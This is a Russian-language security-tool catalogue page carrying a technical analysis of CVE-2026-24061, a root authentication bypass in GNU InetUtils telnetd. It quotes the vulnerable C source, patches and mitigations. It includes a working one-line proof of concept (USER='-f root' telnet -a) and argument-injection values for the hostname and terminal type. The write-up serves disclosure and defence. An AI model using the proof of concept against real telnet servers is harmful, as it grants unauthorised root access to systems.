Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-24061 — Глубокая техническая аналитика и сканер для CVE-2026-24061 — критического обхода аутентификации в GNU InetUtils telnetd, включая цепочку эксплуатации, PoC и детали патча. | Kitploit
Инструменты/GitHubGitHub/buzz075/cve-2026-24061
Анализ уязвимостейЭксплуатацияСетевая безопасностьТестирование на ПроникновениеАутентификация
GitHubbuzz075/cve-2026-24061

CVE-2026-24061

Глубокая техническая аналитика и сканер для CVE-2026-24061 — критического обхода аутентификации в GNU InetUtils telnetd, включая цепочку эксплуатации, PoC и детали патча.

Репозиторий
6 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-24061: Обход аутентификации в GNU InetUtils telnetd — углублённый анализ

Краткое резюме

CVE-2026-24061 — это критическая (CVSS 9.8) уязвимость удалённого обхода аутентификации в GNU InetUtils telnetd, которая позволяет неаутентифицированным злоумышленникам мгновенно получить root-доступ. Уязвимость возникает из-за некорректной санитизации переменной окружения USER, которая передаётся напрямую в /usr/bin/login в качестве аргумента командной строки. Установив USER=-f root, злоумышленник активирует флаг -f в login, который полностью обходит аутентификацию.

Затронутые версии: GNU InetUtils 1.9.3 — 2.7 Тип уязвимости: CWE-88 (внедрение аргументов) Дата обнаружения: 20 января 2026 года Обнаружил: Kyu Neushwaistein (также известен как Carlos Cortes Alvarez)


Часть 1: Детальный технический анализ

Поток выполнения уязвимого кода

1. Шаблон вызова login (telnetd/telnetd.c, строки ~49-63)

Уязвимость начинается с шаблонной строки команды, которая определяет, как telnetd вызывает /usr/bin/login:

root@kitploit:~
/* Template command line for invoking login program. */
char *login_invocation =
#ifdef SOLARIS10
  PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
#elif defined SOLARIS
  PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
#else /* !SOLARIS */
  PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
#endif
;

Ключевое наблюдение: На системах, отличных от Solaris, шаблон использует:

  • %?u{-f %u}{%U} — это условное выражение, означающее:
    • Если user_name задан (%u), используется -f %u (аутентифицированный автоматический вход)
    • В противном случае используется %U (переменная окружения USER как запасной вариант)

Критическая проблема: %U раскрывается в сырую, несанитизированную переменную окружения USER.

2. Функция раскрытия переменных (telnetd/utility.c, _var_short_name())

Шаблонная строка обрабатывается функцией expand_line(), которая вызывает _var_short_name() для раскрытия плейсхолдеров. Вот уязвимый код:

root@kitploit:~
/* Expand a variable referenced by its short one-symbol name. */
char *
_var_short_name (struct line_expander *exp)
{
  char *q;
  char timebuf[64];
  time_t t;

  switch (*exp->cp++)
    {
    case 'a':
#ifdef AUTHENTICATION
      if (auth_level >= 0 && autologin == AUTH_VALID)
        return xstrdup ("ok");
#endif
      return NULL;

    case 'd':
      time (&t);
      strftime (timebuf, sizeof (timebuf),
                "%l:%M%p on %A, %d %B %Y", localtime (&t));
      return xstrdup (timebuf);

    case 'h':
      return xstrdup (remote_hostname);  // POTENTIALLY VULNERABLE

    case 'l':
      return xstrdup (local_hostname);

    case 'L':
      return xstrdup (line);

    case 't':
      q = strchr (line + 1, '/');
      if (q)
        q++;
      else
        q = line;
      return xstrdup (q);

    case 'T':
      return terminaltype ? xstrdup (terminaltype) : NULL;  // POTENTIALLY VULNERABLE

    case 'u':
      return user_name ? xstrdup (user_name) : NULL;

    case 'U':
      return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");  // VULNERABLE!

    default:
      exp->state = EXP_STATE_ERROR;
      return NULL;
    }
}

Критическая ошибка (case 'U'): Переменная окружения USER извлекается через getenv() и передаётся без какой-либо санитизации. Когда злоумышленник устанавливает USER=-f root, это становится частью командной строки login.

3. Функция запуска login (telnetd/pty.c, start_login())

Раскрытая строка вызова login выполняется в start_login():

root@kitploit:~
/* Construct login command from template */
argcv_string (argcv_length (argv, NULL), argv, &login_cmd);
  
/* Execute login - this runs: /usr/bin/login -p -h <hostname> -f root */
execv (argv[0], argv);

Цепочка эксплуатации

  1. Злоумышленник подключается к telnetd (порт 23)

  2. Происходит согласование опций Telnet:

    • Сервер отправляет IAC DO NEW_ENVIRON
    • Клиент отвечает IAC WILL NEW_ENVIRON
    • Сервер отправляет IAC SB NEW_ENVIRON SEND (запрос окружения)
    • Злоумышленник отправляет: IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
  3. Сервер обрабатывает переменную USER:

    • getenv("USER") возвращает -f root
    • Шаблон %U раскрывается в -f root
    • Итоговая команда: /usr/bin/login -p -h <hostname> -f root
  4. Login интерпретирует -f root:

    • Флаг -f означает «пропустить аутентификацию, пользователь уже аутентифицирован»
    • root — имя пользователя для входа
    • Результат: Мгновенная root-оболочка без запроса пароля!

Подтверждение концепции

root@kitploit:~
# On attacker machine:
USER='-f root' telnet -a <target_ip>

Флаг -a включает режим автоматического входа, который отправляет переменную окружения USER на сервер.


Часть 2: Анализ других потенциально уязвимых переменных

В охранном бюллетене явно указано: «Таким образом, существует потенциал аналогичных уязвимостей для других переменных». Проанализируем каждую переменную в _var_short_name():

Таблица анализа переменных

VarИмяИсточникКонтролируется пользователем?Санитизирована?Поверхность атаки
%UПеременная окружения USERgetenv("USER")ДА (через NEW_ENVIRON)НЕТКРИТИЧЕСКАЯ — CVE-2026-24061
%hremote_hostnameDNS/PTR-запросЧастично (PTR-запись)НЕТВЫСОКАЯ
%TterminaltypeОпция TERMINAL-TYPEДАНЕТСРЕДНЯЯ
%uuser_nameСогласование протоколаДАНЕТСРЕДНЯЯ (требуется аутентификация)
%llocal_hostnameКонфигурация системыНЕТН/ДНИЗКАЯ
%Lline (TTY)Выделяется системойНЕТН/ДНИЗКАЯ
%tКороткое имя TTYВыделяется системойНЕТН/ДНИЗКАЯ
%dДата/времяСистемные часыНЕТН/ДОТСУТСТВУЕТ
%aСтатус аутентификацииВнутреннее состояниеНЕТН/ДОТСУТСТВУЕТ

Детальный анализ потенциально уязвимых переменных

1. %h — Удалённое имя хоста (ВЫСОКИЙ РИСК)

Источник: Заполняется в telnetd_setup() из telnetd.c через getnameinfo() или gethostbyaddr().

Проблема: Если злоумышленник контролирует свою PTR-запись (обратный DNS), он потенциально может внедрить:

root@kitploit:~
foo -f root

в качестве своего имени хоста, которое станет частью аргумента -h:

root@kitploit:~
/usr/bin/login -p -h "foo -f root" ...

Сложность эксплуатации:

  • Требуется контроль над обратным DNS
  • Некоторые реализации login могут экранировать или проверять имя хоста
  • Сложнее, чем внедрение через USER

Реальный сценарий: Злоумышленник с контролем над PTR-записью своего IP-адреса (обычно доступно у VPS-провайдеров) может установить обратный DNS на вредоносное значение.

2. %T — Тип терминала (СРЕДНИЙ РИСК)

Источник: Получается через субсогласование TERMINAL-TYPE в Telnet, сохраняется в переменной terminaltype.

Проблема: Строка типа терминала контролируется злоумышленником и не санитизируется:

root@kitploit:~
case 'T':
  return terminaltype ? xstrdup (terminaltype) : NULL;

Использование в шаблонах:

  • SOLARIS10: %?T{-t %T} — используется с флагом -t
  • SOLARIS: %?T{%T} — вставляется напрямую

Потенциальная атака:

root@kitploit:~
TERMINAL-TYPE: xterm -f root

Однако эксплуатация зависит от:

  • Использования %T в шаблоне (в настоящее время только Solaris)
  • Того, как login обрабатывает аргумент -t

3. %u — Аутентифицированное имя пользователя (СРЕДНИЙ РИСК)

Источник: Устанавливается во время согласования аутентификации.

Проблема: Используется в шаблоне -f %u:

root@kitploit:~
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"

Если злоумышленник сможет манипулировать user_name, включив в него метасимволы оболочки или дополнительные аргументы, он может добиться повышения привилегий. Однако эта переменная обычно устанавливается только после некоторой проверки аутентификации.

Почему другие переменные менее рискованны

  • %l, %L, %t: Эти значения производны от контролируемых системой величин (локальное имя хоста, имена TTY-устройств), на которые злоумышленник не может повлиять удалённо.

  • %d: Генерируется из системных часов — нет вектора внедрения.

  • %a: Внутренняя переменная состояния аутентификации — возвращает литеральное «ok» или NULL.


Часть 3: Аналогичные шаблоны ошибок, на которые стоит обратить внимание

На основе этой уязвимости вот шаблоны для поиска в кодовой базе:

Шаблон 1: Несанитизированное использование переменных окружения

root@kitploit:~
// DANGEROUS: Direct use of environment variables
getenv("VARIABLE")

Файлы для проверки:

  • telnetd/utility.c — другие функции раскрытия
  • telnetd/telnetd.c — обработка окружения
  • rlogind/, rshd/ — аналогичные службы

Шаблон 2: Раскрытие шаблонов без проверки

root@kitploit:~
// DANGEROUS: User data in command templates
sprintf(cmd, "command %s", user_controlled_var);
system(cmd);
execv(argv[0], argv);

Шаблон 3: Данные из DNS в командах

root@kitploit:~
// POTENTIALLY DANGEROUS: DNS data can be attacker-controlled
getnameinfo(...);  // PTR lookups
gethostbyaddr(...);
// Then using result in command construction

Области, требующие дальнейшего исследования

  1. Демон ftpd: Проверить, как обрабатывается пользовательский ввод при аутентификации и обработке команд

  2. Демоны rshd/rlogind: Они используют аналогичные шаблоны аутентификации и могут иметь сопоставимые проблемы с обработкой имени хоста или окружения

  3. Разбор конфигурации inetd: Может обрабатывать недоверенный ввод при настройке служб

  4. Точки интеграции Kerberos: При обработке имён субъектов или токенов аутентификации


Часть 4: Исправление

Патч 1: Санитизация ведущих дефисов (fd702c02)

Первый патч добавляет базовую санитизацию:

root@kitploit:~
case 'U':
  {
    char *u = getenv("USER");
    return (u && *u != '-') ? xstrdup(u) : xstrdup("");
  }

Это блокирует значения, начинающиеся с -, что предотвращает внедрение флагов.

Патч 2: Обобщённая функция санитизации (ccba9f74)

Второй патч вводит переиспользуемую функцию sanitize() для всех контролируемых пользователем входных данных:

root@kitploit:~
/* Sanitize user-supplied string to prevent argument injection */
static char *
sanitize (const char *str)
{
  if (str == NULL || *str == '-')
    return xstrdup ("");
  return xstrdup (str);
}

Применяется ко всем потенциально опасным переменным:

  • %U (USER)
  • %h (remote_hostname)
  • %T (terminaltype)

Выводы

  1. CVE-2026-24061 — это классическая уязвимость внедрения аргументов, которая оставалась незамеченной 11 лет из-за:

    • Устаревших предположений протокола
    • Сложного потока выполнения кода (шаблон → раскрытие → выполнение)
    • Недостаточной проверки безопасности «доверенных» переменных окружения
  2. Аналогичные уязвимости могут существовать в переменных %h (имя хоста) и %T (тип терминала), хотя их эксплуатация более сложна.

  3. Более широкие последствия: Любой код, который формирует команды оболочки или аргументы программ из данных, полученных из сети, должен быть проверен на аналогичные уязвимости внедрения.

  4. Рекомендуемые меры по смягчению:

    • Обновиться до GNU InetUtils 2.8+
    • Полностью отключить telnetd (использовать SSH)
    • Если telnetd необходим, ограничить доступ доверенными сетями
    • Использовать собственную программу login, игнорирующую флаг -f
Скачать инструмент